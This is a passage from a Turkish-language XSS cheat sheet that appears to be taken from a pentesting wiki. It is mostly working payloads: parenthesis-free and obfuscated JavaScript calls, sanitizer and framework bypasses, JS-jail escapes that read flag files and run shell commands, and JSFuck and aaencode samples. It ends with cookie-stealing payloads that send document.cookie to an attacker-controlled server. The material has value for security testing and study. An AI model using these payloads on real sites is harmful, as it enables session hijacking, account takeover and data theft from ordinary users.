JavaScript yeni satırlar (kaynak JavaScript new line numarası)
//Javascript interpret as new line these chars:
String.fromCharCode(10)
alert("//\nalert(1)") //0x0a
String.fromCharCode(13)
alert("//\ralert(1)") //0x0d
String.fromCharCode(8232)
alert("//\u2028alert(1)") //0xe2 0x80 0xa8
String.fromCharCode(8233)
alert("//\u2029alert(1)") //0xe2 0x80 0xa9
JavaScript boşluk karakterleri
log=[];
function funct(){}
for(let i=0;i<=0x10ffff;i++){
try{
eval(`funct${String.fromCodePoint(i)}()`);
log.push(i);
}
catch(e){}
}
console.log(log)
//9,10,11,12,13,32,160,5760,8192,8193,8194,8195,8196,8197,8198,8199,8200,8201,8202,8232,8233,8239,8287,12288,65279
//Either the raw characters can be used or you can HTML encode them if they appear in SVG or HTML attributes:
<img/src/onerror=alert(1)>
Javascript bir yorumun içinde
//If you can only inject inside a JS comment, you can still leak something
//If the user opens DevTools request to the indicated sourceMappingURL will be send
//# sourceMappingURL=https://evdr12qyinbtbd29yju31993gumlaby0.oastify.com
JavaScript parantezsiz
// By setting location
window.location='javascript:alert\x281\x29'
x=new DOMMatrix;matrix=alert;x.a=1337;location='javascript'+':'+x
// or any DOMXSS sink such as location=name
// Backtips
// Backtips pass the string as an array of lenght 1
alert`1`
// Backtips + Tagged Templates + call/apply
eval`alert\x281\x29` // This won't work as it will just return the passed array
setTimeout`alert\x281\x29`
eval.call`${'alert\x281\x29'}`
eval.apply`${[`alert\x281\x29`]}`
[].sort.call`${alert}1337`
[].map.call`${eval}\\u{61}lert\x281337\x29`
// To pass several arguments you can use
function btt(){
console.log(arguments);
}
btt`${'arg1'}${'arg2'}${'arg3'}`
//It's possible to construct a function and call it
Function`x${'alert(1337)'}x`
// .replace can use regexes and call a function if something is found
"a,".replace`a${alert}` //Initial ["a"] is passed to str as "a," and thats why the initial string is "a,"
"a".replace.call`1${/./}${alert}`
// This happened in the previous example
// Change "this" value of call to "1,"
// match anything with regex /./
// call alert with "1"
"a".replace.call`1337${/..../}${alert}` //alert with 1337 instead
// Using Reflect.apply to call any function with any argumnets
Reflect.apply.call`${alert}${window}${[1337]}` //Pass the function to call (“alert”), then the “this” value to that function (“window”) which avoids the illegal invocation error and finally an array of arguments to pass to the function.
Reflect.apply.call`${navigation.navigate}${navigation}${[name]}`
// Using Reflect.set to call set any value to a variable
Reflect.set.call`${location}${'href'}${'javascript:alert\x281337\x29'}` // It requires a valid object in the first argument (“location”), a property in the second argument and a value to assign in the third.
// valueOf, toString
// These operations are called when the object is used as a primitive
// Because the objet is passed as "this" and alert() needs "window" to be the value of "this", "window" methods are used
valueOf=alert;window+''
toString=alert;window+''
// Error handler
window.onerror=eval;throw"=alert\x281\x29";
onerror=eval;throw"=alert\x281\x29";
<img src=x onerror="window.onerror=eval;throw'=alert\x281\x29'">
{onerror=eval}throw"=alert(1)" //No ";"
onerror=alert //No ";" using new line
throw 1337
// Error handler + Special unicode separators
eval("onerror=\u2028alert\u2029throw 1337");
// Error handler + Comma separator
// The comma separator goes through the list and returns only the last element
var a = (1,2,3,4,5,6) // a = 6
throw onerror=alert,1337 // this is throw 1337, after setting the onerror event to alert
throw onerror=alert,1,1,1,1,1,1337
// optional exception variables inside a catch clause.
try{throw onerror=alert}catch{throw 1}
// Has instance symbol
'alert\x281\x29'instanceof{[Symbol['hasInstance']]:eval}
'alert\x281\x29'instanceof{[Symbol.hasInstance]:eval}
// The “has instance” symbol allows you to customise the behaviour of the instanceof operator, if you set this symbol it will pass the left operand to the function defined by the symbol.
- https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md
- https://portswigger.net/research/javascript-without-parentheses-using-dommatrix
Keyfi fonksiyon (alert) çağrısı
//Eval like functions
eval('ale'+'rt(1)')
setTimeout('ale'+'rt(2)');
setInterval('ale'+'rt(10)');
Function('ale'+'rt(10)')``;
[].constructor.constructor("alert(document.domain)")``
[]["constructor"]["constructor"]`$${alert()}```
import('data:text/javascript,alert(1)')
//General function executions
`` //Can be use as parenthesis
alert`document.cookie`
alert(document['cookie'])
with(document)alert(cookie)
(alert)(1)
(alert(1))in"."
a=alert,a(1)
[1].find(alert)
window['alert'](0)
parent['alert'](1)
self['alert'](2)
top['alert'](3)
this['alert'](4)
frames['alert'](5)
content['alert'](6)
[7].map(alert)
[8].find(alert)
[9].every(alert)
[10].filter(alert)
[11].findIndex(alert)
[12].forEach(alert);
top[/al/.source+/ert/.source](1)
top[8680439..toString(30)](1)
Function("ale"+"rt(1)")();
new Function`al\ert\`6\``;
Set.constructor('ale'+'rt(13)')();
Set.constructor`al\x65rt\x2814\x29```;
$='e'; x='ev'+'al'; x=this[x]; y='al'+$+'rt(1)'; y=x(y); x(y)
x='ev'+'al'; x=this[x]; y='ale'+'rt(1)'; x(x(y))
this[[]+('eva')+(/x/,new Array)+'l'](/xxx.xxx.xxx.xxx.xx/+alert(1),new Array)
globalThis[`al`+/ert/.source]`1`
this[`al`+/ert/.source]`1`
[alert][0].call(this,1)
window['a'+'l'+'e'+'r'+'t']()
window['a'+'l'+'e'+'r'+'t'].call(this,1)
top['a'+'l'+'e'+'r'+'t'].apply(this,[1])
(1,2,3,4,5,6,7,8,alert)(1)
x=alert,x(1)
[1].find(alert)
top["al"+"ert"](1)
top[/al/.source+/ert/.source](1)
al\u0065rt(1)
al\u0065rt`1`
top['al\145rt'](1)
top['al\x65rt'](1)
top[8680439..toString(30)](1)
<svg><animate onbegin=alert() attributeName=x></svg>
DOM vulnerabilities
There is JS code that is using unsafely data controlled by an attacker like location.href . An attacker, could abuse this to execute arbitrary JS code.
Açıklamanın uzaması nedeniyle DOM vulnerabilities it was moved to this page:
Orada DOM vulnerabilities hakkında ne oldukları, nasıl tetiklendikleri ve nasıl istismar edilecekleri ile ilgili detaylı bir açıklama bulacaksınız.
Ayrıca, bahsi geçen yazının sonunda DOM Clobbering attacks hakkında bir açıklama bulabileceğinizi unutmayın.
Self-XSS’i Yükseltme
Cookie XSS
Eğer payload’u bir cookie içine göndererek bir XSS tetikleyebiliyorsanız, bu genellikle bir self-XSS’tir. Ancak, eğer XSS’e açık bir alt alan adı (vulnerable subdomain to XSS) bulursanız, bu XSS’i kullanarak tüm domain’e bir cookie enjekte edebilir ve ana domainde veya diğer alt alan adlarında (cookie XSS’e açık olanlarda) cookie XSS’i tetikleyebilirsiniz. Bunun için cookie tossing saldırısını kullanabilirsiniz:
Bu tekniğin harika bir kötüye kullanım örneğini bu blog yazısında bulabilirsiniz.
Oturumunuzu admin’e gönderme
Belki bir kullanıcı profilini admin ile paylaşabilir ve eğer profilin içinde self XSS varsa ve admin buna erişirse, zafiyet tetiklenir.
Session Mirroring
Eğer bazı self XSS’ler bulursanız ve web sayfası yöneticiler için session mirroring özelliğine sahipse —örneğin müşterilerin yardım istemesine izin veriyor ve admin size yardım etmek için sizin oturumunuzda gördüklerini kendi oturumundan görebiliyorsa—
Yöneticinin self XSS’inizi tetiklemesini sağlayarak onun cookie’lerini/oturumunu çalabilirsiniz.
Diğer Bypass’lar
Bypassing sanitization via WASM linear-memory template overwrite
When a web app uses Emscripten/WASM, constant strings (like HTML format stubs) live in writable linear memory. A single in‑WASM overflow (e.g., unchecked memcpy in an edit path) can corrupt adjacent structures and redirect writes to those constants. Overwriting a template such as “” turns sanitized input into a JavaScript handler value and yields immediate DOM XSS on render.
Check the dedicated page with exploitation workflow, DevTools memory helpers, and defenses:
Wasm Linear Memory Template Overwrite Xss
Unicode Normalizasyonu
Yansıtılan değerlerin sunucuda (veya istemci tarafında) unicode normalizasyonu uygulanıp uygulanmadığını kontrol edebilir ve bu işlevi korumaları atlatmak için kötüye kullanabilirsiniz. Bir örneği burada bulun.
PHP FILTER_VALIDATE_EMAIL flag Bypass
"><svg/onload=confirm(1)>"@x.y
Ruby-On-Rails bypass
Bu RoR mass assignment nedeniyle HTML’e tırnak işaretleri ekleniyor ve böylece tırnak kısıtlaması atlatılarak etiketin içine ek alanlar (onfocus) eklenebiliyor.
Form örneği (from this report), payload gönderirseniz:
contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
Çift “Key”,“Value” şu şekilde geri yazdırılacaktır:
{" onfocus=javascript:alert('xss') autofocus a"=>"a"}
Böylece onfocus özniteliği eklenecek ve XSS meydana gelir.
Özel kombinasyonlar
<iframe/src="data:text/html,<svg onload=alert(1)>">
<input type=image src onerror="prompt(1)">
<svg onload=alert(1)//
<img src="/" =_=" title="onerror='prompt(1)'">
<img src='1' onerror='alert(0)' <
<script x> alert(1) </script 1=2
<script x>alert('XSS')<script y>
<svg/onload=location=`javas`+`cript:ale`+`rt%2`+`81%2`+`9`;//
<svg////////onload=alert(1)>
<svg id=x;onload=alert(1)>
<svg id=`x`onload=alert(1)>
<img src=1 alt=al lang=ert onerror=top[alt+lang](0)>
<script>$=1,alert($)</script>
<script ~~~>confirm(1)</script ~~~>
<script>$=1,\u0061lert($)</script>
<</script/script><script>eval('\\u'+'0061'+'lert(1)')//</script>
<</script/script><script ~~~>\u0061lert(1)</script ~~~>
</style></scRipt><scRipt>alert(1)</scRipt>
<img src=x:prompt(eval(alt)) onerror=eval(src) alt=String.fromCharCode(88,83,83)>
<svg><x><script>alert('1')</x>
<iframe src=""/srcdoc='<svg onload=alert(1)>'>
<svg><animate onbegin=alert() attributeName=x></svg>
<img/id="alert('XSS')\"/alt=\"/\"src=\"/\"onerror=eval(id)>
<img src=1 onerror="s=document.createElement('script');s.src='http://xss.rocks/xss.js';document.body.appendChild(s);">
(function(x){this[x+`ert`](1)})`al`
window[`al`+/e/[`ex`+`ec`]`e`+`rt`](2)
document['default'+'View'][`\u0061lert`](3)
302 yanıtında header enjeksiyonu ile XSS
Eğer bir 302 Redirect yanıtına başlık enjekte edebildiğinizi görürseniz, tarayıcının rastgele JavaScript çalıştırmasını sağlamayı deneyebilirsiniz. Bu kolay değildir, çünkü modern tarayıcılar HTTP yanıt durum kodu 302 olduğunda HTTP yanıt gövdesini yorumlamazlar; dolayısıyla sadece bir cross-site scripting payload’u işe yaramaz.
In this report and this one you can read how you can test several protocols inside the Location header and see if any of them allows the browser to inspect and execute the XSS payload inside the body.
Past known protocols: mailto://, //x:1/, ws://, wss://, empty Location header, resource://.
Sadece Harfler, Rakamlar ve Noktalar
Eğer javascript’in çalıştıracağı callback’i yalnızca bu karakterlerle (harfler, sayılar ve noktalar) sınırlı şekilde belirleyebiliyorsanız. Read this section of this post bu davranışın nasıl suistimal edileceğini öğrenmek için bakın.
Geçerli <script> Content-Types ile XSS
(Buradan: here) Eğer application/octet-stream gibi bir content-type ile bir script yüklemeyi dener ve Chrome bu durumda şu hatayı fırlatır:
Refused to execute script from ‘https://uploader.c.hc.lc/uploads/xxx’ because its MIME type (‘application/octet-stream’) is not executable, and strict MIME type checking is enabled.
Chrome’un bir loaded script’i çalıştırmasını destekleyecek tek Content-Type’lar, https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc içindeki const kSupportedJavascriptTypes’de bulunanlardır.
const char* const kSupportedJavascriptTypes[] = {
"application/ecmascript",
"application/javascript",
"application/x-ecmascript",
"application/x-javascript",
"text/ecmascript",
"text/javascript",
"text/javascript1.0",
"text/javascript1.1",
"text/javascript1.2",
"text/javascript1.3",
"text/javascript1.4",
"text/javascript1.5",
"text/jscript",
"text/livescript",
"text/x-ecmascript",
"text/x-javascript",
};
XSS için Script Türleri
(From here) Peki, bir script’i yüklemek için hangi türler belirtilebilir?
<script type="???"></script>
Cevap:
- module (varsayılan, açıklamaya gerek yok)
- webbundle: Web Bundles, HTML, CSS, JS… gibi verileri bir araya getirip
.wbndosyası halinde paketleyebileceğiniz bir özelliktir.
<script type="webbundle">
{
"source": "https://example.com/dir/subresources.wbn",
"resources": ["https://example.com/dir/a.js", "https://example.com/dir/b.js", "https://example.com/dir/c.png"]
}
</script>
The resources are loaded from the source .wbn, not accessed via HTTP
- importmap: İçe aktarma sözdizimini geliştirmeye olanak tanır
<script type="importmap">
{
"imports": {
"moment": "/node_modules/moment/src/moment.js",
"lodash": "/node_modules/lodash-es/lodash.js"
}
}
</script>
<!-- With importmap you can do the following -->
<script>
import moment from "moment"
import { partition } from "lodash"
</script>
Bu davranış this writeup içinde bir kütüphaneyi eval’e yeniden eşlemek için kullanıldı; kötüye kullanımı XSS tetikleyebilir.
- speculationrules: Bu özellik esas olarak önceden renderlemenin neden olduğu bazı problemleri çözmek için tasarlanmıştır. İşleyişi şu şekildedir:
<script type="speculationrules">
{
"prerender": [
{ "source": "list", "urls": ["/page/2"], "score": 0.5 },
{
"source": "document",
"if_href_matches": ["https://*.wikipedia.org/**"],
"if_not_selector_matches": [".restricted-section *"],
"score": 0.1
}
]
}
</script>
Web Content-Types ile XSS
(Kaynak: here) Aşağıdaki içerik türleri tüm tarayıcılarda XSS çalıştırabilir:
- text/html
- application/xhtml+xml
- application/xml
- text/xml
- image/svg+xml
- text/plain (?? listede değil ama bununla bir CTF’de gördüğümü sanıyorum)
- application/rss+xml (off)
- application/atom+xml (off)
Diğer tarayıcılarda diğer Content-Types rastgele JS çalıştırmak için kullanılabilir, bakınız: https://github.com/BlackFan/content-type-research/blob/master/XSS.md
xml İçerik Türü
Eğer sayfa text/xml content-type ile dönüyorsa, bir namespace belirleyip rastgele JS çalıştırmak mümkün:
<xml>
<text>hello<img src="1" onerror="alert(1)" xmlns="http://www.w3.org/1999/xhtml" /></text>
</xml>
<!-- Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (p. 113). Kindle Edition. -->
Özel Değiştirme Desenleri
Şu gibi bir şey kullanıldığında "some {{template}} data".replace("{{template}}", <user_input>). Saldırgan bazı korumaları atlatmak için special string replacements kullanabilir: "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"}))
Örneğin this writeup içinde, bu bir script içindeki bir JSON string’ini escape etmek ve keyfi kod yürütmek için kullanıldı.
Chrome Önbelleğinden XSS’e
XS Jails Escape
Sadece sınırlı sayıda karakter kullanabiliyorsanız, XSJail problemleri için şu diğer geçerli çözümleri inceleyin:
// eval + unescape + regex
eval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))()
eval(unescape(1+/1,this%2evalueOf%2econstructor(%22process%2emainModule%2erequire(%27repl%27)%2estart()%22)()%2f/))
// use of with
with(console)log(123)
with(/console.log(1)/index.html)with(this)with(constructor)constructor(source)()
// Just replace console.log(1) to the real code, the code we want to run is:
//return String(process.mainModule.require('fs').readFileSync('flag.txt'))
with(process)with(mainModule)with(require('fs'))return(String(readFileSync('flag.txt')))
with(k='fs',n='flag.txt',process)with(mainModule)with(require(k))return(String(readFileSync(n)))
with(String)with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)with(mainModule)with(require(k))return(String(readFileSync(n)))
//Final solution
with(
/with(String)
with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)
with(mainModule)
with(require(k))
return(String(readFileSync(n)))
/)
with(this)
with(constructor)
constructor(source)()
// For more uses of with go to challenge misc/CaaSio PSE in
// https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE
Eğer güvensiz kod çalıştırılmadan önce her şey undefined ise (örneğin this writeup) herhangi bir güvensiz kodun yürütülmesini kötüye kullanmak için yararlı nesneleri “hiçten” oluşturmak mümkün olur:
- import() kullanarak
// although import "fs" doesn’t work, import('fs') does.
import("fs").then((m) => console.log(m.readFileSync("/flag.txt", "utf8")))
require’e dolaylı erişim
According to this modüller Node.js tarafından bir fonksiyon içine sarılır, şöyle:
;(function (exports, require, module, __filename, __dirname) {
// our actual module code
})
Bu nedenle, eğer o modülden başka bir fonksiyon çağırabiliyorsak, o fonksiyondan arguments.callee.caller.arguments[1]’i kullanarak require’e erişmek mümkündür:
;(function () {
return arguments.callee.caller.arguments[1]("fs").readFileSync(
"/flag.txt",
"utf8"
)
})()
Önceki örneğe benzer şekilde, hata işleyicilerini kullanarak modülün wrapper’ına erişmek ve require fonksiyonunu almak mümkündür:
try {
null.f()
} catch (e) {
TypeError = e.constructor
}
Object = {}.constructor
String = "".constructor
Error = TypeError.prototype.__proto__.constructor
function CustomError() {
const oldStackTrace = Error.prepareStackTrace
try {
Error.prepareStackTrace = (err, structuredStackTrace) =>
structuredStackTrace
Error.captureStackTrace(this)
this.stack
} finally {
Error.prepareStackTrace = oldStackTrace
}
}
function trigger() {
const err = new CustomError()
console.log(err.stack[0])
for (const x of err.stack) {
// use x.getFunction() to get the upper function, which is the one that Node.js adds a wrapper to, and then use arugments to get the parameter
const fn = x.getFunction()
console.log(String(fn).slice(0, 200))
console.log(fn?.arguments)
console.log("=".repeat(40))
if ((args = fn?.arguments)?.length > 0) {
req = args[1]
console.log(req("child_process").execSync("id").toString())
}
}
}
trigger()
Obfuscation & Advanced Bypass
- Aynı sayfada farklı obfuscation’lar: https://aem1k.com/aurebesh.js/
- https://github.com/aemkei/katakana.js
- https://javascriptobfuscator.herokuapp.com/
- https://skalman.github.io/UglifyJS-online/
- http://www.jsfuck.com/
- Daha gelişmiş JSFuck: https://medium.com/@Master_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce
- http://utf-8.jp/public/jjencode.html
- https://utf-8.jp/public/aaencode.html
- https://portswigger.net/research/the-seventh-way-to-call-a-javascript-function-without-parentheses
//Katana
<script>
([,ウ,,,,ア]=[]+{}
,[ネ,ホ,ヌ,セ,,ミ,ハ,ヘ,,,ナ]=[!!ウ]+!ウ+ウ.ウ)[ツ=ア+ウ+ナ+ヘ+ネ+ホ+ヌ+ア+ネ+ウ+ホ][ツ](ミ+ハ+セ+ホ+ネ+'(-~ウ)')()
</script>
//JJencode
<script>$=~[];$={___:++$,$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$:({}+"")[$],$_$:($[$]+"")[$],_$:++$,$_:(!""+"")[$],$__:++$,$_$:++$,$__:({}+"")[$],$_:++$,$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$=($.$+"")[$.__$])+((!$)+"")[$._$]+($.__=$.$_[$.$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$=$.$+(!""+"")[$._$]+$.__+$._+$.$+$.$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$+"\""+$.$_$_+(![]+"")[$._$_]+$.$_+"\\"+$.__$+$.$_+$._$_+$.__+"("+$.___+")"+"\"")())();</script>
//JSFuck
<script>
(+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]]]+[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]])()
</script>
//aaencode
゚ω゚ノ = /`m´)ノ ~┻━┻ / /*´∇`*/["_"]
o = ゚ー゚ = _ = 3
c = ゚Θ゚ = ゚ー゚ - ゚ー゚
゚Д゚ = ゚Θ゚ = (o ^ _ ^ o) / (o ^ _ ^ o)
゚Д゚ = {
゚Θ゚: "_",
゚ω゚ノ: ((゚ω゚ノ == 3) + "_")[゚Θ゚],
゚ー゚ノ: (゚ω゚ノ + "_")[o ^ _ ^ (o - ゚Θ゚)],
゚Д゚ノ: ((゚ー゚ == 3) + "_")[゚ー゚],
}
゚Д゚[゚Θ゚] = ((゚ω゚ノ == 3) + "_")[c ^ _ ^ o]
゚Д゚["c"] = (゚Д゚ + "_")[゚ー゚ + ゚ー゚ - ゚Θ゚]
゚Д゚["o"] = (゚Д゚ + "_")[゚Θ゚]
゚o゚ =
゚Д゚["c"] +
゚Д゚["o"] +
(゚ω゚ノ + "_")[゚Θ゚] +
((゚ω゚ノ == 3) + "_")[゚ー゚] +
(゚Д゚ + "_")[゚ー゚ + ゚ー゚] +
((゚ー゚ == 3) + "_")[゚Θ゚] +
((゚ー゚ == 3) + "_")[゚ー゚ - ゚Θ゚] +
゚Д゚["c"] +
(゚Д゚ + "_")[゚ー゚ + ゚ー゚] +
゚Д゚["o"] +
((゚ー゚ == 3) + "_")[゚Θ゚]
゚Д゚["_"] = (o ^ _ ^ o)[゚o゚][゚o゚]
゚ε゚ =
((゚ー゚ == 3) + "_")[゚Θ゚] +
゚Д゚.゚Д゚ノ +
(゚Д゚ + "_")[゚ー゚ + ゚ー゚] +
((゚ー゚ == 3) + "_")[o ^ _ ^ (o - ゚Θ゚)] +
((゚ー゚ == 3) + "_")[゚Θ゚] +
(゚ω゚ノ + "_")[゚Θ゚]
゚ー゚ += ゚Θ゚
゚Д゚[゚ε゚] = "\\"
゚Д゚.゚Θ゚ノ = (゚Д゚ + ゚ー゚)[o ^ _ ^ (o - ゚Θ゚)]
o゚ー゚o = (゚ω゚ノ + "_")[c ^ _ ^ o]
゚Д゚[゚o゚] = '"'
゚Д゚["_"](
゚Д゚["_"](
゚ε゚ +
゚Д゚[゚o゚] +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
(゚ー゚ + ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
゚ー゚ +
゚Д゚[゚ε゚] +
(゚ー゚ + ゚Θ゚) +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚ー゚ +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚Θ゚ +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
(゚ー゚ + ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
(゚ー゚ + (o ^ _ ^ o)) +
゚Д゚[゚ε゚] +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚ー゚ +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚Θ゚ +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) - ゚Θ゚) +
(o ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
(o ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚ー゚ +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
(゚ー゚ + ゚Θ゚) +
゚Θ゚ +
゚Д゚[゚o゚]
)(゚Θ゚)
)("_")
// It's also possible to execute JS code only with the chars: []`+!${}
XSS common payloads
Several payloads in 1
Iframe Trap
Kullanıcının iframe’den çıkmadan sayfa içinde gezinmesini sağlayın ve eylemlerini çalın (formlarda gönderilen bilgiler dahil):
Retrieve Cookies
<img src=x onerror=this.src="http://<YOUR_SERVER_IP>/?c="+document.cookie>
<img src=x onerror="location.href='http://<YOUR_SERVER_IP>/?c='+ document.cookie">
<script>new Image().src="http://<IP>/?c="+encodeURI(document.cookie);</script>
